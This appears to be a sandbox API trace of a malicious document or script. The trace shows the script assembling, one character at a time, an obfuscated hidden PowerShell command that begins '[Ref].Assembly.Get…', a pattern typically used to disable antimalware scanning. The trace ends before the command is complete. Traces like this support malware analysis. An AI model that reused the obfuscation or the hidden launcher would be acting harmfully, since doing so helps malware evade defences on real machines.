	[0077.291] VarBstrCat (in: bstrLeft="&H", bstrRight="8C", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="Œ") returned 1
	[0077.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Œ", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8c/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0077.291] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -n", bstrRight="o", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.291] VarBstrCat (in: bstrLeft="&H", bstrRight="8D", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="\x8d") returned 1
	[0077.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x8d", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8d/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0077.291] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -no", bstrRight="p", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.291] VarBstrCat (in: bstrLeft="&H", bstrRight="8F", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="\x8f") returned 1
	[0077.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x8f", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8f/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0077.291] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -nop", bstrRight="r", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.292] VarBstrCat (in: bstrLeft="&H", bstrRight="8C", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="Œ") returned 1
	[0077.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Œ", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8c/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0077.292] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -nopr", bstrRight="o", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.292] VarBstrCat (in: bstrLeft="&H", bstrRight="83", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="ƒ") returned 1
	[0077.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ƒ", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x83/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0077.292] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -nopro", bstrRight="f", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.292] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="†") returned 1
	[0077.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="†", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x86/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0077.292] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprof", bstrRight="i", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.292] VarBstrCat (in: bstrLeft="&H", bstrRight="89", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‰") returned 1
	[0077.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‰", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x89/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0077.293] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofi", bstrRight="l", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.293] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.293] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofil", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.293] VarBstrCat (in: bstrLeft="&H", bstrRight="3D", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0077.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0077.293] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile", bstrRight=" ", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.293] VarBstrCat (in: bstrLeft="&H", bstrRight="78", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="x") returned 1
	[0077.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="x/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="[") returned 1
	[0077.293] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile ", bstrRight="[", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.293] VarBstrCat (in: bstrLeft="&H", bstrRight="6F", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0077.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="o/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="R") returned 1
	[0077.294] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [", bstrRight="R", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.294] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.294] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [R", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.294] VarBstrCat (in: bstrLeft="&H", bstrRight="83", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="ƒ") returned 1
	[0077.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ƒ", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x83/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0077.294] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Re", bstrRight="f", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.294] VarBstrCat (in: bstrLeft="&H", bstrRight="7A", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="z") returned 1
	[0077.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="z/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="]") returned 1
	[0077.295] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref", bstrRight="]", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.295] VarBstrCat (in: bstrLeft="&H", bstrRight="4B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="K") returned 1
	[0077.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="K", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="K/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0077.295] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref]", bstrRight=".", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.295] VarBstrCat (in: bstrLeft="&H", bstrRight="5E", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="^") returned 1
	[0077.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="A") returned 1
	[0077.295] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].", bstrRight="A", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.295] VarBstrCat (in: bstrLeft="&H", bstrRight="90", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1
	[0077.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x90/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0077.295] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].A", bstrRight="s", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.296] VarBstrCat (in: bstrLeft="&H", bstrRight="90", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1
	[0077.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x90/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0077.296] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].As", bstrRight="s", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.296] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.296] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Ass", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.296] VarBstrCat (in: bstrLeft="&H", bstrRight="8A", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="Š") returned 1
	[0077.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Š", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8a/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0077.296] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Asse", bstrRight="m", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.296] VarBstrCat (in: bstrLeft="&H", bstrRight="7F", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="\x7f") returned 1
	[0077.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x7f", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x7f/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="b") returned 1
	[0077.297] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assem", bstrRight="b", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.297] VarBstrCat (in: bstrLeft="&H", bstrRight="89", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‰") returned 1
	[0077.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‰", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x89/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0077.297] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assemb", bstrRight="l", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.297] VarBstrCat (in: bstrLeft="&H", bstrRight="96", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="–") returned 1
	[0077.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="–", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x96/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="y") returned 1
	[0077.297] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembl", bstrRight="y", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.297] VarBstrCat (in: bstrLeft="&H", bstrRight="4B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="K") returned 1
	[0077.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="K", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="K/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0077.298] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly", bstrRight=".", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.298] VarBstrCat (in: bstrLeft="&H", bstrRight="64", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0077.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="G") returned 1
	[0077.299] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.", bstrRight="G", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.299] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.299] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.G", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.299] VarBstrCat (in: bstrLeft="&H", bstrRight="91", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‘") returned 1
	[0077.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‘", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x91/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="t") returned 1
